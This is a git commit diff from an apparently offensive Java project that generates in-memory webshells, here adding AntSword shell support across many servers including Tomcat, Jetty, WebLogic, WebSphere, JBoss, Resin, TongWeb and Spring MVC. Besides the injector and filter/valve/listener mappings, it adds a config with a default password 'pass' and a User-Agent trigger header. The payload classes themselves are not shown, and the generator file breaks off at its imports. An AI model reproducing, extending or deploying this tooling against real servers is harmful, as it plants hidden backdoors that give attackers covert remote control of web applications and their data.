feat: support AntSword shell generate (#34)

This commit is contained in:
ReaJason
2025-02-19 00:04:29 +08:00
parent f38b72fb5f
commit 2f256fc97e
98 changed files with 2860 additions and 152 deletions
+1
View File
@@ -57,6 +57,7 @@ jobs:
- resin
- payara
- websphere
- websphere7
- springmvc
- weblogic
- springwebflux
@@ -22,6 +22,7 @@ public class GenerateRequest {
private String godzillaKey;
private String commandParamName;
private String behinderPass;
private String antSwordPass;
private String headerName;
private String headerValue;
}
@@ -50,6 +51,12 @@ public class GenerateRequest {
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
}
@@ -26,6 +26,7 @@ public abstract class AbstractShell {
case Command -> getCommandShellMap().keySet().stream().toList();
case Behinder -> getBehinderShellMap().keySet().stream().toList();
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
@@ -77,12 +78,17 @@ public abstract class AbstractShell {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
case Suo5 -> getSuo5ShellMap();
case AntSword -> getAntSwordShellMap();
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
};
return shellMap.get(shellType);
@@ -94,6 +100,7 @@ public abstract class AbstractShell {
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
@@ -7,6 +8,8 @@ import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -62,4 +65,13 @@ public class ApusicShell extends AbstractShell {
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
return map;
}
}
@@ -1,10 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
import com.reajason.javaweb.memshell.bes.command.CommandValve;
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.bes.injector.*;
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -70,4 +74,15 @@ public class BesShell extends AbstractShell {
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
return map;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
@@ -7,6 +8,9 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -86,4 +90,15 @@ public class GlassFishShell extends AbstractShell {
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -86,4 +90,15 @@ public class InforSuiteShell extends AbstractShell {
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -74,4 +78,15 @@ public class JbossShell extends AbstractShell {
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
@@ -11,6 +13,8 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -83,4 +87,14 @@ public class JettyShell extends AbstractShell {
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
return map;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
import com.reajason.javaweb.memshell.resin.command.CommandListener;
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
@@ -8,6 +9,9 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -71,4 +75,14 @@ public class ResinShell extends AbstractShell {
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
return map;
}
}
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
@@ -72,4 +75,13 @@ public class SpringWebMvcShell extends AbstractShell {
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
return map;
}
}
@@ -1,5 +1,9 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -15,6 +19,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
@@ -99,4 +104,16 @@ public class TomcatShell extends AbstractShell {
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
return map;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
@@ -82,4 +86,15 @@ public class TongWeb6Shell extends AbstractShell {
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
@@ -82,4 +86,15 @@ public class TongWeb7Shell extends AbstractShell {
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
return map;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -8,6 +10,8 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
@@ -83,4 +87,14 @@ public class UndertowShell extends AbstractShell {
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
return map;
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
@@ -71,4 +75,14 @@ public class WebLogicShell extends AbstractShell {
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
return map;
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
@@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
@@ -71,4 +75,14 @@ public class WebSphereShell extends AbstractShell {
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
return map;
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
return map;
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class AntSwordConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -24,4 +24,9 @@ public enum ShellTool {
* Suo5 隧道代理
*/
Suo5,
/**
* 蚁剑
*/
AntSword,
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
